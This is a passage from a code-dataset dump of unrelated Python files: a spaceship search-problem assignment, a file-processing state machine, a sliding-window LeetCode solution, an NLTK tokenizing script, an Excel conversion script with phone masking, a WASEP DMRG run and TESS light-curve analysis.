state.add_device_status(value_to_add)\n\n @staticmethod\n def update_calibrate_action(spaceship_object, calibrate_action, state):\n value_to_remove, value_to_add = spaceship_object.calibrate_device(calibrate_action[2])\n if value_to_remove:\n state.remove_device_status(value_to_remove)\n state.add_device_status(value_to_add)\n\n @staticmethod\n def update_use_action(spaceship_object, use_action, targets_dictionary, state):\n current_device = use_action[2]\n current_target = use_action[3]\n targets_dictionary[current_target] = tuple(\n device for device in targets_dictionary[current_target] if device != current_device)\n state.add_target_hit((current_target, current_device))\n\nclass Spaceship():\n def __init__(self, coordinates, name, devices):\n self.coordinates = coordinates\n self.name = name\n self.assigned_targets = set()\n\n self.devices = devices\n self.devices_onoff = {}\n self.devices_calibration = {}\n self.active_device = None\n\n self.initialize_devices_state()\n\n def initialize_devices_state(self):\n for current_device in self.devices:\n if current_device not in self.devices_onoff.keys():\n self.devices_onoff[current_device] = 0\n self.devices_calibration[current_device] = 0\n\n def check_ready_fire(self, device):\n if self.check_device_exists(device):\n if self.devices_onoff[device] == 1 and self.devices_calibration[device] == 1:\n return True\n return False\n\n def check_ready_calibrate(self, device):\n if self.check_device_exists(device):\n if self.devices_onoff[device] == 1 and self.devices_calibration[device] == 0:\n return True\n return False\n\n def check_ready_turnon(self, device):\n if self.check_device_exists(device):\n if self.devices_onoff[device] == 0:\n return True\n return False\n\n def check_device_exists(self, device):\n if device in self.devices:\n return True\n return False\n\n def calibrate_device(self, device):\n value_to_remove = None\n value_to_add = None\n if self.active_device:\n value_to_remove = self.get_tuple_active_device()\n else:\n print(\"DELETE ME: CAN'T BE HERE.\")\n self.devices_calibration[device] = 1\n value_to_add = self.get_tuple_active_device()\n return value_to_remove, value_to_add\n\n def turn_on_device(self, device):\n self.devices_onoff[device] = 1\n self.active_device = device\n return self.get_tuple_active_device()\n\n def turn_off_devices(self):\n value_to_return = None\n if self.active_device:\n value_to_return = self.get_tuple_active_device()\n self.i_said_turnoff()\n return value_to_return\n\n def i_said_turnoff(self):\n self.devices_onoff = {key: 0 for key in self.devices_onoff}\n self.devices_calibration = {key: 0 for key in self.devices_calibration}\n self.active_device = None\n\n def get_tuple_active_device(self):\n if self.devices_calibration[self.active_device] != 0:\n return (self.name, self.active_device, 1, 1)\n else:\n return (self.name, self.active_device, 1, 0)\n # for device in self.devices_onoff:\n # if self.devices_onoff[device] != 0:\n # if self.devices_calibration[device] != 0:\n # return (self.name, device, 1, 1)\n # else:\n # return (self.name, device, 1, 0)\n # return None\n\n def get_spaceship_identifier(self):\n return (self.coordinates+(self.name,))\n\nclass Overview():\n def __init__(self, grid_size):\n self.grid_size = grid_size\n self.state = State()\n self.spaceships = {} # [spaceship_name] : spaceship_object\n self.targets_dict = {} # [target_coordinate] : target_devices\n self.calibration_targets_dict = {} # [device_name] : target_coordinates\n self.total_number_of_hits = 0\n\n def set_spaceship_cells(self, ship_names, ship_initial_coordinates, ship_devices):\n for current_spaceship_name in ship_names:\n current_spaceship_coordinates = ship_initial_coordinates[current_spaceship_name]\n current_spaceship_devices = ship_devices[current_spaceship_name]\n created_ship = Spaceship(current_spaceship_coordinates, current_spaceship_name, current_spaceship_devices)\n self.spaceships[current_spaceship_name] = created_ship\n self.state.add_occupied_coordinate(created_ship.get_spaceship_identifier())\n\n def set_targets_cells(self, dict_coordinate_devices):\n self.targets_dict = dict_coordinate_devices\n [self.state.add_occupied_coordinate(current_coordinates) for current_coordinates in dict_coordinate_devices]\n self.total_number_of_hits = sum(len(tuple_of_devices) for tuple_of_devices in dict_coordinate_devices.values())\n\n def set_calibration_targets_cells(self, dict_devices_coordinates):\n self.calibration_targets_dict = dict_devices_coordinates\n [self.state.add_occupied_coordinate(dict_devices_coordinates[current_device]) for current_device in\n dict_devices_coordinates]\n\n def goal_test(self):\n if len(self.state.targets_hit) < self.total_number_of_hits:\n return False\n return True\n\n def get_possible_actions(self):\n possible_actions_set = set()\n for current_spaceship in self.spaceships.values():\n possible_actions_set.update(\n UtilsActions.get_possible_movements(current_spaceship, self.state.occupied_coordinates,\n self.grid_size))\n possible_actions_set.update(\n UtilsActions.get_possible_targets(current_spaceship, self.targets_dict,\n self.calibration_targets_dict))\n\n for current_action in possible_actions_set:\n yield current_action\n\n def update_action(self, action):\n UtilsUpdate.distribute_packet(action, self.spaceships, self.targets_dict, self.state)\n\n def __hash__(self):\n return hash((self.state))\n\n def __eq__(self, other):\n if not isinstance(other, type(self)):\n print(\"DELETE ME: WHY ARE YOU HERE?\")\n is_equal = self.state == other.state\n return is_equal\n\nclass OverviewOld():\n def __init__(self, grid_size):\n self.grid_size = grid_size\n self.occupied_coordinates = set()\n self.spaceships = {} # Contains Spaceship objects\n self.targets_dict = None\n self.calibration_targets_dict = None\n self.hit_targets = set()\n\n def get_possible_actions(self):\n possible_actions_set = set()\n for current_spaceship in self.spaceships.values():\n possible_actions_set.update(\n UtilsActions.get_possible_movements(current_spaceship, self.occupied_coordinates,\n self.grid_size))\n possible_actions_set.update(\n UtilsActions.get_possible_targets(current_spaceship, self.targets_dict,\n self.calibration_targets_dict))\n for current_action in possible_actions_set:\n yield current_action\n\n def update_move_action(self, move_action):\n current_ship = self.spaceships[move_action[1]]\n current_ship.coordinates = move_action[3]\n self.occupied_coordinates.remove(move_action[2])\n self.occupied_coordinates.add(move_action[3])\n\n def update_turnon_action(self, turnon_action):\n current_ship = self.spaceships[turnon_action[1]]\n current_ship.turn_on_device(turnon_action[2])\n\n def update_calibrate_action(self, calibrate_action):\n current_ship = self.spaceships[calibrate_action[1]]\n current_ship.calibrate_device(calibrate_action[2])\n\n def update_use_action(self, use_action):\n current_ship = self.spaceships[use_action[1]]\n current_device = use_action[2]\n current_target = use_action[3]\n self.targets_dict[current_target] = tuple(\n device for device in self.targets_dict[current_target] if device != current_device)\n self.hit_targets.add((current_target, current_device))\n\n def add_occupied(self, coordinates):\n self.occupied_coordinates.add(coordinates)\n\n def goal_test(self):\n if self.targets_dict:\n return False\n return True\n\n def set_calibration_targets_cells(self, dict_devices_coordinates):\n self.calibration_targets_dict = dict_devices_coordinates\n\n # Add Targets coordinates to Occupied Coordinates Attribute 'self.occupied_coordinates'\n [self.add_occupied(dict_devices_coordinates[current_device]) for current_device in\n dict_devices_coordinates.keys()]\n\n def set_targets_cells(self, dict_coordinate_devices):\n self.targets_dict = dict_coordinate_devices\n\n # Add Targets coordinates to Occupied Coordinates Attribute 'self.occupied_coordinates'\n [self.add_occupied(current_coordinates) for current_coordinates in\n dict_coordinate_devices.keys()]\n\n def set_spaceship_cells(self, ship_names, ship_initial_coordinates, ship_devices):\n def map_spaceships(ship_coordinates, ship_name, ship_devices):\n created_ship = Spaceship(ship_coordinates, ship_name, ship_devices)\n self.spaceships[ship_name] = created_ship\n self.add_occupied(created_ship.coordinates)\n return created_ship\n\n # Add Spaceships coordinates to Occupied Coordinates Attribute 'self.occupied_coordinates'\n # and save Spaceship Object\n for current_name in ship_names:\n map_spaceships(ship_initial_coordinates[current_name], current_name, ship_devices[current_name])\n\nclass SpaceshipProblem(search.Problem):\n \"\"\"This class implements a spaceship problem\"\"\"\n def __init__(self, initial):\n \"\"\"Don't forget to set the goal or implement the goal test\n You should change the initial to your own representation\"\"\"\n self.initialize = None\n self.state = self.initialize\n self.unpack_problem(initial)\n search.Problem.__init__(self, initial = self.initialize)\n\n def unpack_problem(self, initial):\n grid_size = initial[0] # Integer\n spaceships_names = initial[1] # Tuple of Strings\n devices = initial[2] # Tuple of Strings\n ships_devices = initial[3] # Dictionary of Tuples\n calibration_targets = initial[4] # Dictionary of Tuples\n targets = initial[5] # Dictionary of Tuples\n initial_positions = initial[6] # Dictionary of Tuples\n\n self.initialize = Overview(grid_size)\n self.initialize.set_spaceship_cells(spaceships_names, initial_positions, ships_devices)\n self.initialize.set_calibration_targets_cells(calibration_targets)\n self.initialize.set_targets_cells(targets)\n\n def actions(self, state):\n \"\"\"Return the actions that can be executed in the given\n state. The result would typically be a tuple, but if there are\n many actions, consider yielding them one at a time in an\n iterator, rather than building them all at once.\"\"\"\n return state.get_possible_actions()\n\n def result(self, state, action):\n \"\"\"Return the state that results from executing the given\n action in the given state. The action must be one of\n self.actions(state).\"\"\"\n duplicate_state = deepcopy(state)\n duplicate_state.update_action(action)\n return duplicate_state\n\n def goal_test(self, state):\n \"\"\" Given a state, checks if this is the goal state, compares to the created goal state\"\"\"\n return state.goal_test()\n\n def h(self, node):\n \"\"\" This is the heuristic. It gets a node (not a state,\n state can be accessed via node.state)\n and returns a goal distance estimate\"\"\"\n print(\"Trying to access...\")\n\n \"\"\"Feel free to add your own functions\"\"\"\n\ndef create_spaceship_problem(problem, goal):\n \n return SpaceshipProblem(problem)\n\n","sub_path":"Project-1/BACKUP/ex1_new_1.py","file_name":"ex1_new_1.py","file_ext":"py","file_size_in_byte":22322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"139609493","text":"__author__ = 'pianas'\r\n\r\n\r\nclass FileProcessFSM:\r\n \"\"\"\r\n A FSM which is used for processing files (which are read line by line)\r\n \"\"\"\r\n\r\n def __init__(self, file_in):\r\n self.handlers = {}\r\n self.start_state = None\r\n self.file_in = file_in\r\n\r\n\r\n def add_state(self, name, handler, end_state=0):\r\n name = name.upper()\r\n self.handlers[name] = handler\r\n if end_state:\r\n self.endStates.append(name)\r\n\r\n\r\n def set_start(self, name):\r\n self.start_state = name.upper()\r\n\r\n\r\n def run(self):\r\n try:\r\n handler = self.handlers[self.start_state]\r\n except:\r\n raise \"InitializationError\"(\"must call .set_start() before .run()\")\r\n cargo = \"\"\r\n for line in open(self.file_in, 'rU'):\r\n (new_state, cargo) = handler(cargo, line)\r\n handler = self.handlers[new_state.upper()]\r\n","sub_path":"FileProcessFSM.py","file_name":"FileProcessFSM.py","file_ext":"py","file_size_in_byte":909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"22111775","text":"import collections\nfrom typing import List\n\nclass Solution:\n def maxSlidingWindow(self, nums: List[int], k: int) -> List[int]:\n que = collections.deque()\n n = len(nums)\n res = []\n for r in range(n):\n l = r - k + 1\n while que and nums[que[-1]] <= nums[r]: que.pop()\n que.append(r)\n if que[0] == l - 1: que.popleft()\n if l >= 0: res.append(nums[que[0]])\n return res\n","sub_path":"src/solutions/q239.py","file_name":"q239.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"205084093","text":"'''\nCreated on July 27, 2019\n\n@author: Nathan Liang, BRITE Lab\n@contact: nathan.liang@duke.edu, 1nathan.liang@gmail.com, (503) 719-3275\n@summary: Natural language Processing for Preferred Metaphor June 2018\n'''\nimport csv\nimport nltk\n'''nltk.download('all-corpora')'''\n\ndef initializeData(rfname, condition, wfname,):\n # Reading preferred metaphor CSV\n with open(rfname, 'r+', newline='') as csvfile:\n filereader = csv.reader(csvfile, delimiter=',')\n metaDict = {}\n allTokens = []\n next(filereader)\n for row in filereader:\n metaType = row[1]\n responses = row[2]\n if metaType not in metaDict:\n metaDict[metaType] = []\n if metaType == condition:\n metaDict[condition].append(nltk.word_tokenize(responses))\n else:\n allTokens.append(nltk.word_tokenize(responses))\n with open(wfname, 'w+', newline='') as csvfile:\n filewriter = csv.writer(csvfile, delimiter=',', quotechar='|', quoting=csv.QUOTE_MINIMAL)\n if condition != 'all':\n for idx in range(len(metaDict[condition])):\n filewriter.writerow(metaDict[condition][idx])\n else:\n for idx in range(len(allTokens)):\n filewriter.writerow(allTokens[idx])\n \nif __name__ == '__main__':\n initializeData('S23_RawData_Proof.csv', 'all', 'S23_Tokenized_All.csv')\n initializeData('S23_RawData_Proof.csv', 'sculptor', 'S23_Tokenized_Sculptor.csv')\n initializeData('S23_RawData_Proof.csv', 'coach', 'S23_Tokenized_Coach.csv')\n initializeData('S23_RawData_Proof.csv', 'gardener', 'S23_Tokenized_Gardener.csv')\n initializeData('S23_RawData_Proof.csv', 'tourguide', 'S23_Tokenized_TourGuide.csv')\n \n ","sub_path":"metaphors/Study23/S23_Part1DataInitialization.py","file_name":"S23_Part1DataInitialization.py","file_ext":"py","file_size_in_byte":1864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"310180032","text":"# coding=utf-8\n__doc__ = \"\"\"\n输入的excel:包含一个sheet页,列名分别为:'姓名''出生日期''身份证号''地址''电话''性别''单位信息'\n输出的excel:包含一个sheet页,列名分别为:'姓名''出生日期''地址''电话(隐藏中间四位)'\n\"\"\"\n\nimport os\nimport re\nimport xlrd\nimport xlwt\nfrom datetime import date\n\ndef fromatinputvalue(value):\n \"\"\"格式化变量\"\"\"\n if value == '':\n value = '-'\n elif isinstance(value, unicode):\n value = value.encode('utf-8')\n elif isinstance(value, float):\n value = str(value)\n value = value.decode('gb2312').encode('utf-8')\n elif isinstance(value, int):\n value = str(value)\n value = value.decode('gb2312').encode('utf-8')\n return value\n\ndef readXlsx(filename):\n #读取excel文件\n data = xlrd.open_workbook(filename)\n print(\"read excel %s\" % filename)\n #获取工作表\n #table = data.sheets()[0] #通过索引顺序获取\n #table = data.sheet_by_index(0) #通过索引顺序获取\n table = data.sheet_by_name(u'Sheet1')#通过名称获取\n\n #获取整行和整列的值(数组)\n #table.row_values(i)\n #table.col_values(i)\n #获取行数和列数\n nrows = table.nrows\n ncols = table.ncols\n #循环行列表数据\n outputdata = []\n for i in range(nrows ):\n if i == 0:\n pass\n else:\n outputdata.append([fromatinputvalue(table.row_values(i)[0]),fromatinputvalue(table.row_values(i)[1]),fromatinputvalue(table.row_values(i)[3]),fromatinputvalue(table.row_values(i)[4]).replace('.0','')[:3]+'****'+fromatinputvalue(table.row_values(i)[4]).replace('.0','')[-4:]])\n return outputdata\n #单元格\n #table.cell(rowx,colx)\n #cell_A1 = table.cell(0,0).value\n #cell_C4 = table.cell(3,2).value\n #使用行列索引\n #cell_A1 = table.row(0)[0].value\n #cell_A2 = table.col(1)[0].value\n #简单的写入\n #row = 0\n #col = 0\n # 类型 0 empty,1 string, 2 number, 3 date, 4 boolean, 5 error\n #ctype = 1value = '单元格的值'\n #xf = 0# 扩展的格式化\n #table.put_cell(row, col, ctype, value, xf)\n #table.cell(0,0) #单元格的值'\n #table.cell(0,0).value #单元格的值'\n\ndef writeExcel(outputpath,filename,outputdata):\n # type: (object, object, object) -> object\n #写入到新文件\n #创建workbook(其实就是excel,后来保存一下就行)\n workbook = xlwt.Workbook(encoding = 'gb2312')\n #创建表\n worksheet = workbook.add_sheet('Sheet1')\n #定义列名\n listName = [u'姓名',u'年龄',u'地址',u'电话(隐藏中间四位)']\n style_date = xlwt.XFStyle()\n style_date.num_format_str = 'YYYY/MM/DD'\n #向第一行写入列名\n j = 0\n for Name in listName:\n worksheet.write(0,j,Name.encode('gb2312'))\n j = j + 1\n #往单元格内写入内容\n j = 1\n for values in outputdata:\n i = 0\n for value in values:\n if i == 1:\n worksheet.write(j, i,value.decode('utf-8').encode('gb2312'),style_date)\n else:\n worksheet.write(j,i,value.decode('utf-8').encode('gb2312'))\n i = i + 1\n j = j + 1\n #保存\n print('保存文件')\n workbook.save(os.path.join(outputpath,filename))\n return True\n\nif __name__ == \"__main__\":\n # 输入文件路径\n inputfilepath = 'D:/pycharmWorkspace/testspace/inputexcelfile'\n # 修改工作路径到文件路径\n os.chdir(inputfilepath)\n filename = u'人员信息清单1.xls'\n outputdata = readXlsx(filename)\n outputpath = 'D:/pycharmWorkspace/testspace/outputexcelfile'\n result = writeExcel(outputpath,u'输出人员清单1.xls'.encode('gb2312'),outputdata)","sub_path":"ControlFile/xls2xls_py3.6_V1.0_20180129.py","file_name":"xls2xls_py3.6_V1.0_20180129.py","file_ext":"py","file_size_in_byte":3731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"621602163","text":"import numpy as np\nimport time\nimport mps_opt\nimport matplotlib.pyplot as plt \nfrom sys import argv\n\n#-----------------------------------------------------------------------------\n# In this script, we use the mpo module to calculation the hamiltonian\n# for various models (1D SEP, 2D SEP, 1D Heis, 2D Heis) and print each of\n# these to the terminal\n#-----------------------------------------------------------------------------\n\n# Set Plotting parameters\nplt.rc('text', usetex=True)\nplt.rcParams['text.latex.preamble'] = [r'\\boldmath']\nplt.rc('font', family='serif')\nplt.rcParams['text.latex.unicode']=False\nnp.set_printoptions(suppress=True)\nnp.set_printoptions(precision=2)\nnp.set_printoptions(linewidth=100)\nplt.style.use('fivethirtyeight') #'fivethirtyeight') #'ggplot'\n\n#-----------------------------------------------------------------------------\n# 2D WASEP\n#-----------------------------------------------------------------------------\nN=3\nn_points = 10\nE = 10\npx = 1/2*np.exp(-E/N)\nqx = 1/2*np.exp(E/N)\ns = np.array([-29.1919191919,-18.6868686869,-10])\nCGF_dmrg = np.zeros(s.shape)\nfor i in range(len(s)):\n x = mps_opt.MPS_OPT(N = [N,N],\n hamType = \"sep_2d\",\n #periodic_x = True,\n periodic_y = True,\n verbose = 3,\n maxBondDim = 2,\n maxIter = 2,\n hamParams = (1/2,1/2,qx,px,1/2,1/2,0,0,1/2,1/2,0,0,[0,s[i]/N]))\n CGF_dmrg[i] = x.kernel()\n","sub_path":"efficient/examples/39_vary_maxBondDim_wasep.py","file_name":"39_vary_maxBondDim_wasep.py","file_ext":"py","file_size_in_byte":1512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"515713743","text":"import requests\n\n\ndef time(city) -> dict:\n return requests.get(f'http://api.weatherapi.com/v1/timezone.json?key=fae526c9c9d24b1f8d6170008210608&q={city}').json()\n\n\ndef output(city):\n all = time(city)\n try:\n loc = all['location']\n time_now = loc['localtime']\n country = loc['country']\n region = loc['region']\n city = loc['name']\n\n return (f'Текущая дата и время: {time_now}\\n'\n f'\\n'\n f'Город: {city}\\n'\n f'Регион\\область: {region}\\n'\n f'Страна: {country}')\n except KeyError:\n return ('Нет такого города. Что с правописанием?')","sub_path":"Processors/time.py","file_name":"time.py","file_ext":"py","file_size_in_byte":720,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"495783161","text":"# encoding:utf-8\nimport threading\nimport time\nfrom redis import StrictRedis\n\nconn = StrictRedis(host='localhost', port=6379)\n\ndef notrans():\n print(conn.incr(\"notrans\"))\n time.sleep(.1)\n conn.incr(\"notrans\", -1)\n\nfor each in range(1000):\n threading.Thread(target=notrans).start()","sub_path":"redis/python client/transaction/notrans.py","file_name":"notrans.py","file_ext":"py","file_size_in_byte":291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"95943484","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Sep 1 11:57:52 2021\n\n@author: smullally\n\"\"\"\n\nimport Susan \nimport matplotlib.pyplot as plt\nimport numpy as np\n\noutdir = \"/Users/smullally/Science/tess_monitor_standards/paper/plots/\"\n#Directory of the data files\nddir = \"/Users/smullally/Science/tess_monitor_standards/detrended_standards/good/\"\n#The list of names and filenames\ninfile = \"/Users/smullally/Science/tess_monitor_standards/paper/plots/inputfilenames.csv\"\n\nfilenames = np.loadtxt(infile, dtype=str, delimiter=',')\n\n#This needs to be run first and then gets filled in below, one at a time.\nstats = np.zeros((len(filenames[:,0]),5))\n\n#%%\n\n#for f in filenames[:,0]:\n# Susan.create_lcft_plot(ddir+f, periods = [.004,12], times=None)\n#%%\n\ni = 0\npers = [0.5,12]\ntimes = [2174, 2230]\nlabel = \"%s\\nTIC %u\\nSector 32-33\" % (filenames[i,1], int(filenames[i,0][7:17]))\nSusan.create_lcft_plot(ddir+filenames[i,0], periods = pers, times=times, label = label)\nplt.savefig(outdir + filenames[i,0] + \".png\")\nret = Susan.calc_variable_stats(ddir+filenames[i,0], ticid = int(filenames[i,0][7:17]), periods=pers)\nstats[i,:] = ret\n\n#%%\ni = 1\npers = [0.1,12]\ntimes = [2204, 2214.5]\nlabel = \"%s\\nTIC %u\\nSector 33\" % (filenames[i,1], int(filenames[i,0][7:17]))\nSusan.create_lcft_plot(ddir+filenames[i,0], periods = pers, times=times, label = label)\nplt.savefig(outdir + filenames[i,0] + \".png\")\nret = Susan.calc_variable_stats(ddir+filenames[i,0], ticid = int(filenames[i,0][7:17]), periods=pers)\nstats[i,:] = ret\n\n#%\ni = 2\npers = [0.08,12]\ntimes = None\nlabel = \"%s\\nTIC %u\\nSector 5\" % (filenames[i,1], int(filenames[i,0][7:17]))\nSusan.create_lcft_plot(ddir+filenames[i,0], periods = pers, times=times, label = label)\nplt.savefig(outdir + filenames[i,0] + \".png\")\nret = Susan.calc_variable_stats(ddir+filenames[i,0], ticid = int(filenames[i,0][7:17]), periods=pers)\nstats[i,:] = ret\n\n#%%\ni = 3\npers = [0.2,12]\ntimes =[2102, 2113.5]\nlabel = \"%s\\nTIC %u\\nSector 29\" % (filenames[i,1], int(filenames[i,0][7:17]))\nSusan.create_lcft_plot(ddir+filenames[i,0], periods = pers, times=times, label = label)\nplt.savefig(outdir + filenames[i,0] + \".png\")\nret = Susan.calc_variable_stats(ddir+filenames[i,0], ticid = int(filenames[i,0][7:17]), periods=pers)\nstats[i,:] = ret\n\n#%\ni = 4\npers = [0.015,12]\ntimes = [1815.8, 1828]\nlabel = \"%s\\nTIC %u\\nSector 19\" % (filenames[i,1], int(filenames[i,0][7:17]))\nSusan.create_lcft_plot(ddir+filenames[i,0], periods = pers, times=times, label = label)\nplt.savefig(outdir + filenames[i,0] + \".png\")\nret = Susan.calc_variable_stats(ddir+filenames[i,0], ticid = int(filenames[i,0][7:17]), periods=pers)\nstats[i,:] = ret\n\n#%\ni = 5\npers = [0.014,5]\ntimes = [2406,2409]\nlabel = \"%s\\nTIC %u\\nSector 40\" % (filenames[i,1], int(filenames[i,0][7:17]))\nSusan.create_lcft_plot(ddir+filenames[i,0], periods = pers, times=times, label = label)\nplt.savefig(outdir + filenames[i,0] + \".png\")\nret = Susan.calc_variable_stats(ddir+filenames[i,0], ticid = int(filenames[i,0][7:17]), periods=pers)\nstats[i,:] = ret\n\n#%\ni = 6\npers = [0.05,10]\ntimes = None\nlabel = \"%s\\nTIC %u\\nSector 40\" % (filenames[i,1], int(filenames[i,0][7:17]))\nSusan.create_lcft_plot(ddir+filenames[i,0], periods = pers, times=times, label = label)\nplt.savefig(outdir + filenames[i,0] + \".png\")\nret = Susan.calc_variable_stats(ddir+filenames[i,0], ticid = int(filenames[i,0][7:17]), periods=pers)\nstats[i,:] = ret\n\n#%\ni = 7\npers = [0.01,12]\ntimes = [2389.5,2404.9]\nlabel = \"%s\\nTIC %u\\nSector 40\" % (filenames[i,1], int(filenames[i,0][7:17]))\nSusan.create_lcft_plot(ddir+filenames[i,0], periods = pers, times=times, label = label)\nplt.savefig(outdir + filenames[i,0] + \".png\")\nret = Susan.calc_variable_stats(ddir+filenames[i,0], ticid = int(filenames[i,0][7:17]), periods=pers)\nstats[i,:] = ret\n#%\ni = 8\npers = [0.4,12]\ntimes = [2390, 2405]\nlabel = \"%s\\nTIC %u\\nSector 40\" % (filenames[i,1], int(filenames[i,0][7:17]))\nSusan.create_lcft_plot(ddir+filenames[i,0], periods = pers, times=times, label = label)\nplt.savefig(outdir + filenames[i,0] + \".png\")\nret = Susan.calc_variable_stats(ddir+filenames[i,0], ticid = int(filenames[i,0][7:17]), periods=pers)\nstats[i,:] = ret\n#%\ni = 9\npers = [0.4,12]\ntimes = [1751,1763.5]\nlabel = \"%s\\nTIC %u\\nSector 16\" % (filenames[i,1], int(filenames[i,0][7:17]))\nSusan.create_lcft_plot(ddir+filenames[i,0], periods = pers, times=times, label = label)\nplt.savefig(outdir + filenames[i,0] + \".png\")\nret = Susan.calc_variable_stats(ddir+filenames[i,0], ticid = int(filenames[i,0][7:17]), periods=pers)\nstats[i,:] = ret\n#%\ni = 10\npers = [0.2,12]\ntimes = [1855.8,1869]\nlabel = \"%s\\nTIC %u\\nSector 20\" % (filenames[i,1], int(filenames[i,0][7:17]))\nSusan.create_lcft_plot(ddir+filenames[i,0], periods = pers, times=times, label = label)\nplt.savefig(outdir + filenames[i,0] + \".png\")\nret = Susan.calc_variable_stats(ddir+filenames[i,0], ticid = int(filenames[i,0][7:17]), periods=pers)\nstats[i,:] = ret\n#%\ni = 11\npers = [0.4,12]\ntimes = None\nlabel = \"%s\\nTIC %u\\nSector 21\" % (filenames[i,1], int(filenames[i,0][7:17]))\nSusan.create_lcft_plot(ddir+filenames[i,0], periods = pers, times=times, label = label)\nplt.savefig(outdir + filenames[i,0] + \".png\")\nret = Susan.calc_variable_stats(ddir+filenames[i,0], ticid = int(filenames[i,0][7:17]), periods=pers)\nstats[i,:] = ret\n#\ni = 12\npers = [0.04,8]\ntimes = None\nlabel = \"%s\\nTIC %u\\nSector 33\" % (filenames[i,1], int(filenames[i,0][7:17]))\nSusan.create_lcft_plot(ddir+filenames[i,0], periods = pers, times=times, label = label)\nplt.savefig(outdir + filenames[i,0] + \".png\")\nret = Susan.calc_variable_stats(ddir+filenames[i,0], ticid = int(filenames[i,0][7:17]), periods=pers)\nstats[i,:] = ret\n#%\ni = 13\npers = [0.6,14]\ntimes = None\nlabel = \"%s\\nTIC %u\\nSector 1\" % (filenames[i,1], int(filenames[i,0][7:17]))\nSusan.create_lcft_plot(ddir+filenames[i,0], periods = pers, times=times, label = label)\nplt.savefig(outdir + filenames[i,0] + \".png\")\nret = Susan.calc_variable_stats(ddir+filenames[i,0], ticid = int(filenames[i,0][7:17]), periods=pers)\nstats[i,:] = ret\n#%\ni = 14\npers = [0.2,12]\ntimes = None\nlabel = \"%s\\nTIC %u\\nSector 32\" % (filenames[i,1], int(filenames[i,0][7:17]))\nSusan.create_lcft_plot(ddir+filenames[i,0], periods = pers, times=times, label = label)\nplt.savefig(outdir + filenames[i,0] + \".png\")\nret = Susan.calc_variable_stats(ddir+filenames[i,0], ticid = int(filenames[i,0][7:17]), periods=pers)\nstats[i,:] = ret\n\n#%%\n\n#Need run above cells first\nofn = \"/Users/smullally/Science/tess_monitor_standards/paper/variable_stats.csv\"\nform = (\"%u\", \"%5.5f\", \"%.4f\", \"%.4f\", \"%.4f\")\nnp.savetxt(fname= ofn, X = stats, delimiter=\",\", \n header = \"TIC,period_at_max,max_amplitude,2sigma_pkpk,3pk2pk\",\n fmt = form)\n\n#%%\n#Get Crowdsap for all stars.\nimport lightkurve as lk\nimport pandas as p\ntarget_name_file = \"/Users/smullally/Science/tess_monitor_standards/paper/target_names.csv\"\ntargets = p.read_csv(target_name_file,delimiter=',', header=\"infer\")\n\nfor i,t in targets.iterrows():\n search = lk.search_lightcurve(\"TIC %u\" % t['ticid'], mission='TESS', \n author = ['SPOC','TESS-SPOC'])\n try:\n lc = search[search.author=='SPOC'][0].download()\n except:\n lc = search[0].download() \n print(t['ticid'],lc.CROWDSAP,lc.TIMEDEL)\n#%%\n#Create the Variable table with Pandas\nimport pandas as p\ntarget_name_file = \"/Users/smullally/Science/tess_monitor_standards/paper/target_names.csv\"\ntargets = p.read_csv(target_name_file,delimiter=',', header=\"infer\")\n\nvar_stats = p.read_csv(ofn)\nvarstars = targets['var'] == 'y'\nvstats = p.DataFrame({'ticid':[],'name':[],'crowdsap':[],'period_max':[],'amp_max':[],'pkpk':[]})\n\nfor i,t in targets[varstars].iterrows():\n want = var_stats['# TIC'] == t['ticid']\n pmax = float(var_stats[want]['period_at_max'])\n amax = float(var_stats[want]['max_amplitude'])\n pkpk = float(var_stats[want]['2sigma_pkpk'])\n newstat = p.DataFrame({'ticid':str(int(t['ticid'])),'name':t['name'],\n 'crowdsap':t['crowdsap'], 'pmax':[pmax],\n 'amax':[amax], 'pkpk':[pkpk]})\n vstats = vstats.append(newstat)\n\ntabfile = \"/Users/smullally/Science/tess_monitor_standards/paper/var_stats.tab\"\nvstats.to_latex(buf=tabfile, column_format='llrrrr', index = False,\n columns = ['name','ticid','crowdsap','pmax','amax','pkpk'],\n float_format = \"%.4f\") \n\n\n#%%\n\ninfile = \"/Users/smullally/Science/tess_monitor_standards/detrended_standards/good/all_data.txt\"\noutfile = \"/Users/smullally/Science/tess_monitor_standards/detrended_standards/good/all_data_stats.txt\"\nddir = \"/Users/smullally/Science/tess_monitor_standards/detrended_standards/good/\"\nfilenames = np.loadtxt(infile,dtype=str)\n\nstats = np.zeros((len(filenames), 5))\n\nfor i,f in enumerate(filenames):\n ticid = int(f[5:17])\n sector = int(f[19:22])\n \n #4 sigma long and short period limits from periodogram.\n #Bin size is used to bin for the largest variation stat.\n short, long, largest = Susan.nonvar_stats(ddir + f, period = 1, \n long_bin_size = .02083)\n \n stats[i,:] = np.array([ticid, sector, 100*short, 100*long, 100*largest])\n\nform = (\"%u\", \"%.4f\", \"%.4f\", \"%.4f\", \"%.4f\")\nnp.savetxt(outfile, stats, delimiter = \",\", fmt = form, header = \"TIC,sector,short,long,3siglarge\")\n\n \n#%%\nimport pandas as p\n#The outfile here is the above csv file calculating stats for all data files.\noutfile = \"/Users/smullally/Science/tess_monitor_standards/detrended_standards/good/all_data_stats.txt\"\nnovar_stats = p.read_csv(outfile)\n#The following files comes from the Target_Stars_names excel sheet 1\ntarget_name_file = \"/Users/smullally/Science/tess_monitor_standards/paper/target_names.csv\"\ntargets = p.read_csv(target_name_file,delimiter=',', header=\"infer\")\n\nnovar_list = \"/Users/smullally/Science/tess_monitor_standards/paper/\" #contain TIC and actual name\n\nstats = p.DataFrame({'ticid':[],'name':[],'crowdsap':[],'short':[],'long':[],'large':[]})\n\nnotvariable_ones = targets['var'] == 'n'\n\nfor i,t in 